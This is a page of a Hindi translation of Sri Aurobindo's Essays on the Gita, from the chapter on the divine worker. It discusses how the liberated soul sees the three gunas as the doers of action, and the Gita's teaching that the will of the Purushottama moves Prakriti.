गीता प्रबंध -अरविन्द पृ. 178

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गीता-प्रबंध
18.दिव्य कर्मी

पाप - पुण्य की सृष्टि जीव के अज्ञान से, उसके कर्तृव्य के अहंकार से , श्रेष्ठ आत्मभाव की उसकी अनभिज्ञता से , प्रकृति के कर्मो के साथ अपना तादात्म्य कर लेने से होती है , और जब उसका अंतः स्थित आत्म - ज्ञान इस अंधकार में आवरण से मुक्त हो जाता है तब उसका वह ज्ञान उसकी अंतःस्थ सदात्मा को सूर्य के सदृश प्रकाशित कर देता है ; तब वह अपने - आपको प्रकति के करण - समूह के ऊपर रहने वाली आत्मा जानने लगता है। उस विशुद्ध , अनंत , अविकार्य अव्यय स्थिति में आकर वह फिर विचलित नहीं होता , क्योंकि वह इस भ्रम में नहीं रहता कि प्रकृति की क्रिया उसमें कुछ हेर - फेर कर सकती है , नैव्र्यक्तिक ब्रह्म के साथ पूर्ण तादात्म्य लाभ करके वह फिर से जन्म लेकर प्रकृति की क्रिया में वापस आने की आवश्यकता से अपने - आपको मुक्त कर सकता है। फिर भी यह मुक्ति उसे कर्म करने से जरा भी नहीं रोकती। हां , अब कर्म करते हुए भी वह यह जानता है कि कर्म मैं नहीं कर रहा , कर्म करने वाले हैं प्रकृति के त्रिगुण। ‘‘ तत्ववित् व्यक्ति ( निष्क्रिय नैव्र्यक्तिक ब्रह्म के साथ ) युक्त होकर यही सोचता है कि कर्म मैं नहीं करता ; देखते , सुनते ,चखते , सूंघते , खाते , चलते , सोते , सांस लेते, बोलते , देते , लेते , आंख खोलते- बंद करते वह यही धारणा करता है कि इन्द्रियां विषयों पर क्रिया कर रही है।
” वह स्वयं अक्षर अविकार्य आत्मा में सुप्रतिष्ठित होने के कारण त्रिगुणातीत हो जाता है ; वह न सात्विक है न राजसिक न तामसी ; उसके कर्मो में प्राकृतिक गुणों और धर्मो के जो परिवर्तन होते रहते हैं , प्रकाश और सुख , कर्मण्यता और शक्ति , विश्राम और जड़ता - रूपी इनका जो छन्दोबद्ध खेल होता रहता है उन्हें वह निर्मल और शांत भाव से देखता है। अपने कर्म को इस प्रकार शांत आत्मा के उच्चासन से देखता है। अपने कर्म को इस प्रकार शांत आत्मा के उच्चसन से देखना और उसमें लिप्त न होना , यह त्रैगुणातीत्य भी दिव्य कर्मी का एक महान् लक्षण है। यदि इसी विचार को सब कुछ मान लिया जाये तो इसका यह परिणम निकलेगा कि सब कुछ प्रकृति की ही यांत्रिक नियति है और आत्मा इस सबसे सर्वथा अलग है , उस पर कोई जिम्मेदारी नहीं , पर गीता पुरूषोत्तम - तत्व की प्रकाशमान और परमेश्वरवादी भावना के द्वारा इस अपूर्ण विचार की भूल का निवारण करती है। गीता इस बात को स्पष्ट रूप से कहती है कि सब कुछ के मूल में प्रकृति ही नहीं है जो अपने कर्मो का यंत्रवत् निर्णय करती हो , बल्कि प्रकृति को प्रेरित करता है उन पुरूषोत्तम का संकल्प , जिन्होंने धार्तराष्ट्रों को पहले से ही मार रखा है , अर्जुन जिनका मानव - यंत्र मात्र है।


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टीका टिप्पणी और संदर्भ

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